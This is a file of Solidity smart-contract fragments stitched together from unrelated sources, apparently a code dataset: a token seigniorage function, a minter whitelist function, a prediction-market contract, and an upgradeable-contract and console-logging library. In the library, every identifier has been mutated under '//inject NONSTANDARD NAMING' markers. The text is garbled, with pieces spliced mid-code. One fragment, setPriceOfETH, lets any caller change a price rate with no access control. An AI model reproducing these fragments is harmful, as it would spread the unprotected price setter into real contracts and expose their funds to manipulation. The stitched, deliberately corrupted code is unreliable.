INursery(nursery).governanceRecoverUnsupported(_token, _amount, _to); } }
28 first epochs with 4.5% expansion Expansion ($KITTY Price > 1 $ETH): there is some seigniorage to be allocated saved enough to pay debt, mint as usual rate have not saved enough to pay debt, mint more
function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updateKittyPrice(); previousEpochKittyPrice = getKittyPrice(); uint256 kittySupply = getKittyCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { _sendToNursery(kittySupply.mul(bootstrapSupplyExpansionPercent).div(10000)); if (previousEpochKittyPrice > kittyPriceCeiling) { uint256 bondSupply = IERC20(bbond).totalSupply(); uint256 _percentage = previousEpochKittyPrice.sub(kittyPriceOne); uint256 _savedForBond; uint256 _savedForNursery; uint256 _mse = _calculateMaxSupplyExpansionPercent(kittySupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { _savedForNursery = kittySupply.mul(_percentage).div(1e18); uint256 _seigniorage = kittySupply.mul(_percentage).div(1e18); _savedForNursery = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForNursery); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForNursery > 0) { _sendToNursery(_savedForNursery); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(kitty).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } }
1,062,521
./full_match/1/0x1D0977e86c70EAbb5c8fD98DB1B08C6d60caa0C1/sources/contracts/engine/GenArt721CoreV2_ENGINE_FLEX.sol
Revokes whitelisting of minter `_address`./
function removeMintWhitelisted(address _address) public onlyAdmin { isMintWhitelisted[_address] = false; }
9,648,721
./full_match/5/0xeBB59817E608E4d994D09C5f1432325285500dA1/sources/contracts/defi.sol
Some test functions to view
function setPriceOfETH(uint256 price) public { rateOfEth = price; }
1,903,770
pragma solidity ^0.4.15; import "../Markets/Market.sol"; import "../Tokens/Token.sol"; import "../Events/Event.sol"; import "../MarketMakers/MarketMaker.sol"; /// @title Market factory contract - Allows to create market contracts /// @author Stefan George - <[email protected]> contract StandardMarket is Market { using Math for *; /* * Constants */ uint24 public constant FEE_RANGE = 1000000; // 100% /* * Modifiers */ modifier isCreator() { // Only creator is allowed to proceed require(msg.sender == creator); _; } modifier atStage(Stages _stage) { // Contract has to be in given stage require(stage == _stage); _; } /* * Public functions */ /// @dev Constructor validates and sets market properties /// @param _creator Market creator /// @param _eventContract Event contract /// @param _marketMaker Market maker contract /// @param _fee Market fee function StandardMarket(address _creator, Event _eventContract, MarketMaker _marketMaker, uint24 _fee) public { // Validate inputs require(address(_eventContract) != 0 && address(_marketMaker) != 0 && _fee < FEE_RANGE); creator = _creator; createdAtBlock = block.number; eventContract = _eventContract; netOutcomeTokensSold = new int[](eventContract.getOutcomeCount()); fee = _fee; marketMaker = _marketMaker; stage = Stages.MarketCreated; } /// @dev Allows to fund the market with collateral tokens converting them into outcome tokens /// @param _funding Funding amount function fund(uint _funding) public isCreator atStage(Stages.MarketCreated) { // Request collateral tokens and allow event contract to transfer them to buy all outcomes require( eventContract.collateralToken().transferFrom(msg.sender, this, _funding) && eventContract.collateralToken().approve(eventContract, _funding)); eventContract.buyAllOutcomes(_funding); funding = _funding; stage = Stages.MarketFunded; MarketFunding(funding); } /// @dev Allows market creator to close the markets by transferring all remaining outcome tokens to the creator function close() public isCreator atStage(Stages.MarketFunded) { uint8 outcomeCount = eventContract.getOutcomeCount(); for (uint8 i = 0; i < outcomeCount; i++) require(eventContract.outcomeTokens(i).transfer(creator, eventContract.outcomeTokens(i).balanceOf(this))); stage = Stages.MarketClosed; MarketClosing(); } /// @dev Allows market creator to withdraw fees generated by trades /// @return Fee amount function withdrawFees() public isCreator returns (uint fees) { fees = eventContract.collateralToken().balanceOf(this); // Transfer fees require(eventContract.collateralToken().transfer(creator, fees)); FeeWithdrawal(fees); } /// @dev Allows to buy outcome tokens from market maker /// @param outcomeTokenIndex Index of the outcome token to buy /// @param outcomeTokenCount Amount of outcome tokens to buy /// @param maxCost The maximum cost in collateral tokens to pay for outcome tokens /// @return Cost in collateral tokens function buy(uint8 outcomeTokenIndex, uint outcomeTokenCount, uint maxCost) public atStage(Stages.MarketFunded) returns (uint cost) { // Calculate cost to buy outcome tokens uint outcomeTokenCost = marketMaker.calcCost(this, outcomeTokenIndex, outcomeTokenCount); // Calculate fees charged by market uint fees = calcMarketFee(outcomeTokenCost); cost = outcomeTokenCost.add(fees); // Check cost doesn't exceed max cost require(cost > 0 && cost <= maxCost); // Transfer tokens to markets contract and buy all outcomes require( eventContract.collateralToken().transferFrom(msg.sender, this, cost) && eventContract.collateralToken().approve(eventContract, outcomeTokenCost)); // Buy all outcomes eventContract.buyAllOutcomes(outcomeTokenCost); // Transfer outcome tokens to buyer require(eventContract.outcomeTokens(outcomeTokenIndex).transfer(msg.sender, outcomeTokenCount)); // Add outcome token count to market maker net balance require(int(outcomeTokenCount) >= 0); netOutcomeTokensSold[outcomeTokenIndex] = netOutcomeTokensSold[outcomeTokenIndex].add(int(outcomeTokenCount)); OutcomeTokenPurchase(msg.sender, outcomeTokenIndex, outcomeTokenCount, outcomeTokenCost, fees); } /// @dev Allows to sell outcome tokens to market maker /// @param outcomeTokenIndex Index of the outcome token to sell /// @param outcomeTokenCount Amount of outcome tokens to sell /// @param minProfit The minimum profit in collateral tokens to earn for outcome tokens /// @return Profit in collateral tokens function sell(uint8 outcomeTokenIndex, uint outcomeTokenCount, uint minProfit) public atStage(Stages.MarketFunded) returns (uint profit) { // Calculate profit for selling outcome tokens uint outcomeTokenProfit = marketMaker.calcProfit(this, outcomeTokenIndex, outcomeTokenCount); // Calculate fee charged by market uint fees = calcMarketFee(outcomeTokenProfit); profit = outcomeTokenProfit.sub(fees); // Check profit is not too low require(profit > 0 && profit >= minProfit); // Transfer outcome tokens to markets contract to sell all outcomes require(eventContract.outcomeTokens(outcomeTokenIndex).transferFrom(msg.sender, this, outcomeTokenCount)); // Sell all outcomes eventContract.sellAllOutcomes(outcomeTokenProfit); // Transfer profit to seller require(eventContract.collateralToken().transfer(msg.sender, profit)); // Subtract outcome token count from market maker net balance require(int(outcomeTokenCount) >= 0); netOutcomeTokensSold[outcomeTokenIndex] = netOutcomeTokensSold[outcomeTokenIndex].sub(int(outcomeTokenCount)); OutcomeTokenSale(msg.sender, outcomeTokenIndex, outcomeTokenCount, outcomeTokenProfit, fees); } /// @dev Buys all outcomes, then sells all shares of selected outcome which were bought, keeping /// shares of all other outcome tokens. /// @param outcomeTokenIndex Index of the outcome token to short sell /// @param outcomeTokenCount Amount of outcome tokens to short sell /// @param minProfit The minimum profit in collateral tokens to earn for short sold outcome tokens /// @return Cost to short sell outcome in collateral tokens function shortSell(uint8 outcomeTokenIndex, uint outcomeTokenCount, uint minProfit) public returns (uint cost) { // Buy all outcomes require( eventContract.collateralToken().transferFrom(msg.sender, this, outcomeTokenCount) && eventContract.collateralToken().approve(eventContract, outcomeTokenCount)); eventContract.buyAllOutcomes(outcomeTokenCount); // Short sell selected outcome eventContract.outcomeTokens(outcomeTokenIndex).approve(this, outcomeTokenCount); uint profit = this.sell(outcomeTokenIndex, outcomeTokenCount, minProfit); cost = outcomeTokenCount - profit; // Transfer outcome tokens to buyer uint8 outcomeCount = eventContract.getOutcomeCount(); for (uint8 i = 0; i < outcomeCount; i++) if (i != outcomeTokenIndex) require(eventContract.outcomeTokens(i).transfer(msg.sender, outcomeTokenCount)); // Send change back to buyer require(eventContract.collateralToken().transfer(msg.sender, profit)); OutcomeTokenShortSale(msg.sender, outcomeTokenIndex, outcomeTokenCount, cost); } /// @dev Calculates fee to be paid to market maker /// @param outcomeTokenCost Cost for buying outcome tokens /// @return Fee for trade function calcMarketFee(uint outcomeTokenCost) public constant returns (uint) { return outcomeTokenCost * fee / FEE_RANGE; } }
Allows to fund the market with collateral tokens converting them into outcome tokens _funding Funding amount Request collateral tokens and allow event contract to transfer them to buy all outcomes
function fund(uint _funding) public isCreator atStage(Stages.MarketCreated) { require( eventContract.collateralToken().transferFrom(msg.sender, this, _funding) && eventContract.collateralToken().approve(eventContract, _funding)); eventContract.buyAllOutcomes(_funding); funding = _funding; stage = Stages.MarketFunded; MarketFunding(funding); }
7,292,429
pragma solidity ^0.6.0; contract initializable5 { //inject NONSTANDARD NAMING bool private initialized; bool private initializing; modifier INITIALIZER65() { //inject NONSTANDARD NAMING require(initializing || ISCONSTRUCTOR91() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } function ISCONSTRUCTOR91() private view returns (bool) { //inject NONSTANDARD NAMING // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } contract contextupgradesafe87 is initializable5 { //inject NONSTANDARD NAMING // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __CONTEXT_INIT10() internal INITIALIZER65 { //inject NONSTANDARD NAMING __CONTEXT_INIT_UNCHAINED61(); } function __CONTEXT_INIT_UNCHAINED61() internal INITIALIZER65 { //inject NONSTANDARD NAMING } function _MSGSENDER78() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA22() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } contract ownableupgradesafe25 is initializable5, contextupgradesafe87 { //inject NONSTANDARD NAMING address private _owner; event OWNERSHIPTRANSFERRED52(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING function __OWNABLE_INIT13() internal INITIALIZER65 { //inject NONSTANDARD NAMING __CONTEXT_INIT_UNCHAINED61(); __OWNABLE_INIT_UNCHAINED84(); } function __OWNABLE_INIT_UNCHAINED84() internal INITIALIZER65 { //inject NONSTANDARD NAMING address msgSender = _MSGSENDER78(); _owner = msgSender; emit OWNERSHIPTRANSFERRED52(address(0), msgSender); } function OWNER9() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER81() { //inject NONSTANDARD NAMING require(_owner == _MSGSENDER78(), "Ownable: caller is not the owner"); _; } function RENOUNCEOWNERSHIP19() public virtual ONLYOWNER81 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED52(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP24(address newOwner) public virtual ONLYOWNER81 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED52(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } library safemath14 { //inject NONSTANDARD NAMING function ADD80(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB60(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB60(a, b, "SafeMath: subtraction overflow"); } function SUB60(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL16(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV54(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV54(a, b, "SafeMath: division by zero"); } function DIV54(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD56(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD56(a, b, "SafeMath: modulo by zero"); } function MOD56(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } interface ierc2086 { //inject NONSTANDARD NAMING function TOTALSUPPLY25() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF21(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER6(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE84(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE33(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM54(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER56(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL90(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library console87 { //inject NONSTANDARD NAMING address constant console_address36 = address(0x000000000000000000636F6e736F6c652e6c6f67); //inject NONSTANDARD NAMING function _SENDLOGPAYLOAD51(bytes memory payload) private view { //inject NONSTANDARD NAMING uint256 payloadLength = payload.length; address consoleAddress = console_address36; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function LOG40() internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log()")); } function LOGINT64(int p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(int)", p0)); } function LOGUINT96(uint p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint)", p0)); } function LOGSTRING94(string memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string)", p0)); } function LOGBOOL52(bool p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool)", p0)); } function LOGADDRESS2(address p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address)", p0)); } function LOGBYTES0(bytes memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes)", p0)); } function LOGBYTE23(byte p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(byte)", p0)); } function LOGBYTES1100(bytes1 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes1)", p0)); } function LOGBYTES273(bytes2 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes2)", p0)); } function LOGBYTES377(bytes3 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes3)", p0)); } function LOGBYTES477(bytes4 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes4)", p0)); } function LOGBYTES578(bytes5 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes5)", p0)); } function LOGBYTES61(bytes6 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes6)", p0)); } function LOGBYTES735(bytes7 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes7)", p0)); } function LOGBYTES818(bytes8 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes8)", p0)); } function LOGBYTES931(bytes9 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes9)", p0)); } function LOGBYTES1064(bytes10 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes10)", p0)); } function LOGBYTES1141(bytes11 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes11)", p0)); } function LOGBYTES1261(bytes12 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes12)", p0)); } function LOGBYTES1365(bytes13 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes13)", p0)); } function LOGBYTES1433(bytes14 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes14)", p0)); } function LOGBYTES1532(bytes15 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes15)", p0)); } function LOGBYTES1678(bytes16 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes16)", p0)); } function LOGBYTES176(bytes17 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes17)", p0)); } function LOGBYTES1833(bytes18 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes18)", p0)); } function LOGBYTES1973(bytes19 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes19)", p0)); } function LOGBYTES202(bytes20 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes20)", p0)); } function LOGBYTES2137(bytes21 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes21)", p0)); } function LOGBYTES2248(bytes22 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes22)", p0)); } function LOGBYTES2317(bytes23 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes23)", p0)); } function LOGBYTES2438(bytes24 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes24)", p0)); } function LOGBYTES2548(bytes25 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes25)", p0)); } function LOGBYTES261(bytes26 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes26)", p0)); } function LOGBYTES2793(bytes27 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes27)", p0)); } function LOGBYTES2869(bytes28 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes28)", p0)); } function LOGBYTES299(bytes29 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes29)", p0)); } function LOGBYTES3053(bytes30 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes30)", p0)); } function LOGBYTES3139(bytes31 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes31)", p0)); } function LOGBYTES3263(bytes32 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bytes32)", p0)); } function LOG40(uint p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint)", p0)); } function LOG40(string memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string)", p0)); } function LOG40(bool p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool)", p0)); } function LOG40(address p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address)", p0)); } function LOG40(uint p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function LOG40(uint p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function LOG40(uint p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function LOG40(uint p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function LOG40(string memory p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function LOG40(string memory p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string)", p0, p1)); } function LOG40(string memory p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function LOG40(string memory p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address)", p0, p1)); } function LOG40(bool p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function LOG40(bool p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function LOG40(bool p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function LOG40(bool p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function LOG40(address p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function LOG40(address p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string)", p0, p1)); } function LOG40(address p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function LOG40(address p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address)", p0, p1)); } function LOG40(uint p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function LOG40(uint p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function LOG40(uint p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function LOG40(uint p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function LOG40(uint p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function LOG40(uint p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function LOG40(uint p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function LOG40(uint p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function LOG40(uint p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function LOG40(uint p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function LOG40(uint p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function LOG40(uint p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function LOG40(uint p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function LOG40(uint p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function LOG40(uint p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function LOG40(uint p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function LOG40(string memory p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function LOG40(string memory p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function LOG40(string memory p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function LOG40(string memory p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function LOG40(string memory p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function LOG40(string memory p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function LOG40(string memory p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function LOG40(string memory p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function LOG40(string memory p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function LOG40(string memory p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function LOG40(string memory p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function LOG40(string memory p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function LOG40(string memory p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function LOG40(string memory p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function LOG40(string memory p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function LOG40(string memory p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function LOG40(bool p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function LOG40(bool p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function LOG40(bool p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function LOG40(bool p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function LOG40(bool p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function LOG40(bool p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function LOG40(bool p0, string memory p1, bool p2) internal view { //inject NONSTANDARD 